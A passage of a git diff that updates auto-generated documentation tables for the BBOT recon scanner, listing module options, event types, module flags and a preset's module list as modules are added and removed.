modules.postgres.username | str | The username to connect to Postgres | postgres | -| modules.slack.event_types | list | Types of events to send | ['VULNERABILITY', 'FINDING'] | -| modules.slack.min_severity | str | Only allow VULNERABILITY events of this severity or higher | LOW | +| modules.rabbitmq.queue | str | The RabbitMQ queue to publish events to | bbot_events | +| modules.rabbitmq.url | str | The RabbitMQ connection URL | amqp://guest:guest@localhost/ | +| modules.slack.event_types | list | Types of events to send | ['FINDING'] | +| modules.slack.min_severity | str | Only allow FINDING events of this severity or higher | LOW | | modules.slack.retries | int | Number of times to retry sending the message before skipping the event | 10 | | modules.slack.webhook_url | str | Discord webhook URL | | | modules.splunk.hectoken | str | HEC Token | | @@ -625,8 +648,8 @@ In addition to the stated options for each module, the following universal optio | modules.stdout.in_scope_only | bool | Whether to only show in-scope events | False | | modules.subdomains.include_unresolved | bool | Include unresolved subdomains in output | False | | modules.subdomains.output_file | str | Output to file | | -| modules.teams.event_types | list | Types of events to send | ['VULNERABILITY', 'FINDING'] | -| modules.teams.min_severity | str | Only allow VULNERABILITY events of this severity or higher | LOW | +| modules.teams.event_types | list | Types of events to send | ['FINDING'] | +| modules.teams.min_severity | str | Only allow FINDING events of this severity or higher | LOW | | modules.teams.retries | int | Number of times to retry sending the message before skipping the event | 10 | | modules.teams.webhook_url | str | Teams webhook URL | | | modules.txt.output_file | str | Output to file | | @@ -638,6 +661,7 @@ In addition to the stated options for each module, the following universal optio | modules.websocket.preserve_graph | bool | Preserve full chains of events in the graph (prevents orphans) | True | | modules.websocket.token | str | Authorization Bearer token | | | modules.websocket.url | str | Web URL | | +| modules.zeromq.zmq_address | str | The ZeroMQ socket address to publish events to (e.g. tcp://localhost:5555) | | | modules.excavate.custom_yara_rules | str | Include custom Yara rules | | | modules.excavate.speculate_params | bool | Enable speculative parameter extraction from JSON and XML content | False | | modules.excavate.yara_max_match_data | int | Sets the maximum amount of text that can extracted from a YARA regex | 2000 | diff --git a/docs/scanning/events.md b/docs/scanning/events.md index f554b8b797..fe552e9f96 100644 --- a/docs/scanning/events.md +++ b/docs/scanning/events.md @@ -104,42 +104,41 @@ Below is a full list of event types along with which modules produce/consume the ## List of Event Types <!-- BBOT EVENTS --> -| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | -|---------------------|-----------------------|-----------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| * | 18 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, http, json, mysql, neo4j, postgres, python, slack, splunk, sqlite, stdout, teams, txt, websocket | | -| ASN | 0 | 1 | | asn | -| AZURE_TENANT | 1 | 0 | speculate | | -| CODE_REPOSITORY | 7 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | -| DNS_NAME | 60 | 43 | anubisdb, asset_inventory, azure_realm, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, passivetotal, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, digitorus, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, passivetotal, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, vhost, viewdns, virustotal, wayback | -| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | -| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | -| FILESYSTEM | 4 | 9 | extractous, jadx, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | -| FINDING | 2 | 32 | asset_inventory, web_report | ajaxpro, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, newsletters, ntlm, nuclei, paramminer_cookies, paramminer_getparams, reflected_parameters, retirejs, shodan_idb, smuggler, speculate, telerik, trufflehog, url_manipulation, wpscan | -| GEOLOCATION | 0 | 2 | | ip2location, ipstack | -| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | -| HTTP_RESPONSE | 18 | 1 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, telerik, trufflehog, wpscan | httpx | -| IP_ADDRESS | 10 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | -| IP_RANGE | 2 | 0 | portscan, speculate | | -| MOBILE_APP | 1 | 1 | apkpure | google_playstore | -| OPEN_TCP_PORT | 6 | 5 | asset_inventory, fingerprintx, httpx, nmap_xml, portfilter, sslcert | asset_inventory, censys_ip, portscan, shodan_idb, speculate | -| OPEN_UDP_PORT | 0 | 1 | | censys_ip | -| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | -| PASSWORD | 0 | 2 | | credshed, dehashed | -| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | -| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | -| RAW_TEXT | 2 | 1 | excavate, trufflehog | extractous | -| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | -| STORAGE_BUCKET | 8 | 5 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft | -| TECHNOLOGY | 4 | 8 | asset_inventory, gitlab_onprem, web_report, wpscan | badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_idb, wpscan | -| URL | 24 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, ffuf, generic_ssrf, git, gowitness, graphql_introspection, httpx, iis_shortnames, lightfuzz, ntlm, nuclei, portfilter, robots, smuggler, speculate, telerik, url_manipulation, vhost, wafw00f, web_report | gowitness, httpx | -| URL_HINT | 1 | 1 | ffuf_shortnames | iis_shortnames | -| URL_UNVERIFIED | 8 | 19 | code_repository, filedownload, httpx, oauth, portfilter, retirejs, social, speculate | azure_realm, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, ffuf, ffuf_shortnames, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, wpscan | -| USERNAME | 1 | 2 | speculate | credshed, dehashed | -| VHOST | 1 | 1 | web_report | vhost | -| VULNERABILITY | 2 | 15 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, dotnetnuke, generic_ssrf, lightfuzz, medusa, nuclei, shodan_idb, telerik, trufflehog, wpscan | -| WAF | 1 | 1 | asset_inventory | wafw00f | -| WEBSCREENSHOT | 0 | 1 | | gowitness | -| WEB_PARAMETER | 7 | 4 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers | +| Event Type | # Consuming Modules | # Producing Modules | Consuming Modules | Producing Modules | +|---------------------|-----------------------|-----------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| * | 24 | 0 | affiliates, cloudcheck, csv, discord, dnsresolve, elastic, http, json, kafka, mongo, mysql, nats, neo4j, postgres, python, rabbitmq, slack, splunk, sqlite, stdout, teams, txt, websocket, zeromq | | +| ASN | 0 | 1 | | asn | +| AZURE_TENANT | 1 | 1 | speculate | azure_tenant | +| CODE_REPOSITORY | 7 | 8 | docker_pull, git_clone, gitdumper, github_workflows, google_playstore, postman_download, trufflehog | code_repository, dockerhub, git, github_codesearch, github_org, gitlab_com, gitlab_onprem, postman | +| DNS_NAME | 59 | 43 | anubisdb, asset_inventory, azure_tenant, baddns, baddns_zone, bevigil, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, emailformat, fullhunt, github_codesearch, github_usersearch, hackertarget, hunterio, leakix, myssl, nmap_xml, oauth, otx, passivetotal, pgp, portscan, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, speculate, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, viewdns, virustotal, wayback | anubisdb, azure_tenant, bevigil, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, crt, crt_db, digitorus, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnsresolve, fullhunt, hackertarget, hunterio, leakix, myssl, ntlm, oauth, otx, passivetotal, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, speculate, sslcert, subdomaincenter, subdomainradar, trickest, urlscan, vhost, viewdns, virustotal, wayback | +| DNS_NAME_UNRESOLVED | 3 | 0 | baddns, speculate, subdomains | | +| EMAIL_ADDRESS | 1 | 11 | emails | credshed, dehashed, dnscaa, dnstlsrpt, emailformat, github_usersearch, hunterio, pgp, securitytxt, skymem, sslcert | +| FILESYSTEM | 4 | 9 | extractous, jadx, trufflehog, unarchive | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, jadx, postman_download, unarchive | +| FINDING | 2 | 35 | asset_inventory, web_report | ajaxpro, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dotnetnuke, generic_ssrf, git, gitlab_onprem, graphql_introspection, host_header, hunt, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, reflected_parameters, retirejs, shodan_idb, smuggler, speculate, telerik, trufflehog, url_manipulation, wpscan | +| GEOLOCATION | 0 | 2 | | ip2location, ipstack | +| HASHED_PASSWORD | 0 | 2 | | credshed, dehashed | +| HTTP_RESPONSE | 18 | 1 | ajaxpro, asset_inventory, badsecrets, dotnetnuke, excavate, filedownload, gitlab_onprem, host_header, newsletters, nmap_xml, ntlm, paramminer_cookies, paramminer_getparams, paramminer_headers, speculate, telerik, trufflehog, wpscan | httpx | +| IP_ADDRESS | 10 | 5 | asn, asset_inventory, censys_ip, ip2location, ipneighbor, ipstack, nmap_xml, portscan, shodan_idb, speculate | asset_inventory, censys_ip, dnsresolve, ipneighbor, speculate | +| IP_RANGE | 2 | 0 | portscan, speculate | | +| MOBILE_APP | 1 | 1 | apkpure | google_playstore | +| OPEN_TCP_PORT | 6 | 5 | asset_inventory, fingerprintx, httpx, nmap_xml, portfilter, sslcert | asset_inventory, censys_ip, portscan, shodan_idb, speculate | +| OPEN_UDP_PORT | 0 | 1 | | censys_ip | +| ORG_STUB | 4 | 1 | dockerhub, github_org, google_playstore, postman | speculate | +| PASSWORD | 0 | 2 | | credshed, dehashed | +| PROTOCOL | 3 | 2 | legba, medusa, nmap_xml | censys_ip, fingerprintx | +| RAW_DNS_RECORD | 0 | 3 | | dnsbimi, dnsresolve, dnstlsrpt | +| RAW_TEXT | 2 | 1 | excavate, trufflehog | extractous | +| SOCIAL | 7 | 4 | dockerhub, github_org, gitlab_com, gitlab_onprem, gowitness, postman, speculate | dockerhub, github_usersearch, gitlab_onprem, social | +| STORAGE_BUCKET | 8 | 5 | baddns_direct, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, speculate | bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft | +| TECHNOLOGY | 4 | 9 | asset_inventory, gitlab_onprem, web_report, wpscan | ajaxpro, badsecrets, censys_ip, dotnetnuke, gitlab_onprem, gowitness, nuclei, shodan_idb, wpscan | +| URL | 24 | 2 | ajaxpro, aspnet_bin_exposure, asset_inventory, baddns_direct, bypass403, ffuf, generic_ssrf, git, gowitness, graphql_introspection, httpx, iis_shortnames, lightfuzz, ntlm, nuclei, portfilter, robots, smuggler, speculate, telerik, url_manipulation, vhost, wafw00f, web_report | gowitness, httpx | +| URL_HINT | 1 | 1 | ffuf_shortnames | iis_shortnames | +| URL_UNVERIFIED | 8 | 19 | code_repository, filedownload, httpx, oauth, portfilter, retirejs, social, speculate | azure_tenant, bevigil, bucket_file_enum, censys_ip, dnsbimi, dnscaa, dnstlsrpt, dockerhub, excavate, ffuf, ffuf_shortnames, github_codesearch, gowitness, hunterio, robots, securitytxt, urlscan, wayback, wpscan | +| USERNAME | 1 | 2 | speculate | credshed, dehashed | +| VHOST | 1 | 1 | web_report | vhost | +| WAF | 1 | 1 | asset_inventory | wafw00f | +| WEBSCREENSHOT | 0 | 1 | | gowitness | +| WEB_PARAMETER | 7 | 4 | hunt, lightfuzz, paramminer_cookies, paramminer_getparams, paramminer_headers, reflected_parameters, web_parameters | excavate, paramminer_cookies, paramminer_getparams, paramminer_headers | <!-- END BBOT EVENTS --> ## Findings Vs. Vulnerabilities diff --git a/docs/scanning/index.md b/docs/scanning/index.md index 0287ecdec6..1b31e59709 100644 --- a/docs/scanning/index.md +++ b/docs/scanning/index.md @@ -112,30 +112,30 @@ A single module can have multiple flags. For example, the `securitytrails` modul ### List of Flags <!-- BBOT MODULE FLAGS --> -| Flag | # Modules | Description | Modules | -|------------------|-------------|----------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| safe | 98 | Non-intrusive, safe to run | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, extractous, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ip2location, ipstack, jadx, leakix, myssl, newsletters, ntlm, oauth, otx, passivetotal, pgp, portfilter, portscan, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| passive | 70 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_realm, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, extractous, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, leakix, myssl, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, skymem, social, speculate, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | -| active | 52 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, ffuf, ffuf_shortnames, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, httpx, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation, vhost, wafw00f, wpscan | -| subdomain-enum | 51 | Enumerates subdomains | anubisdb, asn, azure_realm, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | -| aggressive | 22 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, ffuf, ffuf_shortnames, generic_ssrf, host_header, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, telerik, url_manipulation, vhost, wafw00f, wpscan | -| code-enum | 18 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trufflehog | -| web-basic | 17 | Basic, non-intrusive web scan functionality | azure_realm, baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | -| cloud-enum | 16 | Enumerates cloud resources | azure_realm, azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, dnsbimi, dnstlsrpt, httpx, oauth, securitytxt | -| web-thorough | 15 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bypass403, dotnetnuke, ffuf_shortnames, generic_ssrf, host_header, hunt, lightfuzz, reflected_parameters, retirejs, smuggler, telerik, url_manipulation | -| slow | 11 | May take a long time to complete | bucket_digitalocean, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, vhost | -| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | -| affiliates | 8 | Discovers affiliated hostnames/domains | affiliates, azure_realm, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | -| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | -| deadly | 6 | Highly aggressive | ffuf, legba, lightfuzz, medusa, nuclei, vhost | -| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | -| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | -| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | ffuf_shortnames, iis_shortnames | -| portscan | 2 | Discovers open ports | portscan, shodan_idb | -| social-enum | 2 | Enumerates social media | httpx, social | -| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | -| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | -| web-screenshots | 1 | Takes screenshots of web pages | gowitness | +| Flag | # Modules | Description | Modules | +|------------------|-------------|----------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| safe | 97 | Non-intrusive, safe to run | affiliates, aggregate, ajaxpro, anubisdb, apkpure, asn, aspnet_bin_exposure, azure_tenant, baddns, baddns_direct, baddns_zone, badsecrets, bevigil, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, extractous, filedownload, fingerprintx, fullhunt, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, gowitness, graphql_introspection, hackertarget, httpx, hunt, hunterio, iis_shortnames, ip2location, ipstack, jadx, leakix, myssl, newsletters, ntlm, oauth, otx, passivetotal, pgp, portfilter, portscan, postman, postman_download, rapiddns, reflected_parameters, retirejs, robots, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, skymem, social, sslcert, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| passive | 69 | Never connects to target systems | affiliates, aggregate, anubisdb, apkpure, asn, azure_tenant, bevigil, bucket_file_enum, bufferoverrun, builtwith, c99, censys_dns, censys_ip, certspotter, chaos, code_repository, credshed, crt, crt_db, dehashed, digitorus, dnsbimi, dnscaa, dnsdumpster, dnstlsrpt, docker_pull, dockerhub, emailformat, excavate, extractous, fullhunt, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, google_playstore, hackertarget, hunterio, ip2location, ipneighbor, ipstack, jadx, leakix, myssl, otx, passivetotal, pgp, portfilter, postman, postman_download, rapiddns, securitytrails, shodan_dns, shodan_idb, sitedossier, skymem, social, speculate, subdomaincenter, subdomainradar, trickest, trufflehog, unarchive, urlscan, viewdns, virustotal, wayback | +| active | 52 | Makes active connections to target systems | ajaxpro, aspnet_bin_exposure, baddns, baddns_direct, baddns_zone, badsecrets, bucket_amazon, bucket_digitalocean, bucket_firebase, bucket_google, bucket_microsoft, bypass403, dnsbrute, dnsbrute_mutations, dnscommonsrv, dotnetnuke, ffuf, ffuf_shortnames, filedownload, fingerprintx, generic_ssrf, git, gitlab_com, gitlab_onprem, gowitness, graphql_introspection, host_header, httpx, hunt, iis_shortnames, legba, lightfuzz, medusa, newsletters, ntlm, nuclei, oauth, paramminer_cookies, paramminer_getparams, paramminer_headers, portscan, reflected_parameters, retirejs, robots, securitytxt, smuggler, sslcert, telerik, url_manipulation, vhost, wafw00f, wpscan | +| subdomain-enum | 50 | Enumerates subdomains | anubisdb, asn, azure_tenant, baddns_direct, baddns_zone, bevigil, bufferoverrun, builtwith, c99, censys_dns, certspotter, chaos, crt, crt_db, digitorus, dnsbimi, dnsbrute, dnsbrute_mutations, dnscaa, dnscommonsrv, dnsdumpster, dnstlsrpt, fullhunt, github_codesearch, github_org, hackertarget, httpx, hunterio, ipneighbor, leakix, myssl, oauth, otx, passivetotal, postman, postman_download, rapiddns, securitytrails, securitytxt, shodan_dns, shodan_idb, sitedossier, sslcert, subdomaincenter, subdomainradar, subdomains, trickest, urlscan, virustotal, wayback | +| aggressive | 22 | Generates a large amount of network traffic | bypass403, dnsbrute, dnsbrute_mutations, dotnetnuke, ffuf, ffuf_shortnames, generic_ssrf, host_header, ipneighbor, legba, lightfuzz, medusa, nuclei, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, telerik, url_manipulation, vhost, wafw00f, wpscan | +| code-enum | 18 | Find public code repositories and search them for secrets etc. | apkpure, code_repository, docker_pull, dockerhub, git, git_clone, gitdumper, github_codesearch, github_org, github_usersearch, github_workflows, gitlab_com, gitlab_onprem, google_playstore, jadx, postman, postman_download, trufflehog | +| web-basic | 16 | Basic, non-intrusive web scan functionality | baddns, badsecrets, bucket_amazon, bucket_firebase, bucket_google, bucket_microsoft, filedownload, git, graphql_introspection, httpx, iis_shortnames, ntlm, oauth, robots, securitytxt, sslcert | +| cloud-enum | 15 | Enumerates cloud resources | azure_tenant, baddns, baddns_direct, baddns_zone, bucket_amazon, bucket_digitalocean, bucket_file_enum, bucket_firebase, bucket_google, bucket_microsoft, dnsbimi, dnstlsrpt, httpx, oauth, securitytxt | +| web-thorough | 15 | More advanced web scanning functionality | ajaxpro, aspnet_bin_exposure, bucket_digitalocean, bypass403, dotnetnuke, ffuf_shortnames, generic_ssrf, host_header, hunt, lightfuzz, reflected_parameters, retirejs, smuggler, telerik, url_manipulation | +| slow | 11 | May take a long time to complete | bucket_digitalocean, dnsbrute_mutations, docker_pull, fingerprintx, git_clone, gitdumper, paramminer_cookies, paramminer_getparams, paramminer_headers, smuggler, vhost | +| email-enum | 9 | Enumerates email addresses | dehashed, dnscaa, dnstlsrpt, emailformat, emails, hunterio, pgp, skymem, sslcert | +| affiliates | 7 | Discovers affiliated hostnames/domains | affiliates, azure_tenant, builtwith, oauth, sslcert, trickest, viewdns | +| download | 7 | Modules that download files, apps, or repositories | apkpure, docker_pull, filedownload, git_clone, gitdumper, github_workflows, postman_download | +| deadly | 6 | Highly aggressive | ffuf, legba, lightfuzz, medusa, nuclei, vhost | +| baddns | 3 | Runs all modules from the DNS auditing tool BadDNS | baddns, baddns_direct, baddns_zone | +| web-paramminer | 3 | Discovers HTTP parameters through brute-force | paramminer_cookies, paramminer_getparams, paramminer_headers | +| iis-shortnames | 2 | Scans for IIS Shortname vulnerability | ffuf_shortnames, iis_shortnames | +| portscan | 2 | Discovers open ports | portscan, shodan_idb | +| social-enum | 2 | Enumerates social media | httpx, social | +| service-enum | 1 | Identifies protocols running on open ports | fingerprintx | +| subdomain-hijack | 1 | Detects hijackable subdomains | baddns | +| web-screenshots | 1 | Takes screenshots of web pages | gowitness | <!-- END BBOT MODULE FLAGS --> ## Dependencies diff --git a/docs/scanning/presets_list.md b/docs/scanning/presets_list.md index 7740609dec..fc9569f0ae 100644 --- a/docs/scanning/presets_list.md +++ b/docs/scanning/presets_list.md @@ -42,7 +42,7 @@ Enumerate cloud resources such as storage buckets, etc. -Modules: [58]("`anubisdb`, `asn`, `azure_realm`, `azure_tenant`, `baddns_direct`, `baddns_zone`, `baddns`, `bevigil`, `bucket_amazon`, `bucket_digitalocean`, `bucket_file_enum`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `bufferoverrun`, `builtwith`, `c99`, `censys_dns`, `certspotter`, `chaos`, `crt_db`, `crt`, `digitorus`, `dnsbimi`, `dnsbrute_mutations`, `dnsbrute`, `dnscaa`, `dnscommonsrv`, `dnsdumpster`, `dnstlsrpt`, `fullhunt`, `github_codesearch`, `github_org`, `hackertarget`, `httpx`, `hunterio`, `ipneighbor`, `leakix`, `myssl`, `oauth`, `otx`, `passivetotal`, `postman_download`, `postman`, `rapiddns`, `securitytrails`, `securitytxt`, `shodan_dns`, `shodan_idb`, `sitedossier`, `social`, `sslcert`, `subdomaincenter`, `subdomainradar`, `trickest`, `urlscan`, `virustotal`, `wayback`") +Modules: [57]("`anubisdb`, `asn`, `azure_tenant`, `baddns_direct`, `baddns_zone`, `baddns`, `bevigil`, `bucket_amazon`, `bucket_digitalocean`, `bucket_file_enum`, `bucket_firebase`, `bucket_google`, `bucket_microsoft`, `bufferoverrun`, `builtwith`, `c99`, `censys_dns`, `certspotter`, `chaos`, `crt_db`, `crt`, `digitorus`, `dnsbimi`, `dnsbrute_mutations`, `dnsbrute`, `dnscaa`, `dnscommonsrv`, `dnsdumpster`, `dnstlsrpt`, `fullhunt`, `github_codesearch`, `github_org`, `hackertarget`, `httpx`, `hunterio`, `ipneighbor`, `leakix`, `myssl`, `oauth`, `otx`, `passivetotal`, `postman_download`, `postman`, `rapiddns`, `securitytrails`, `securitytxt`, `shodan_dns`, `shodan_idb`, `sitedossier`, `social`, 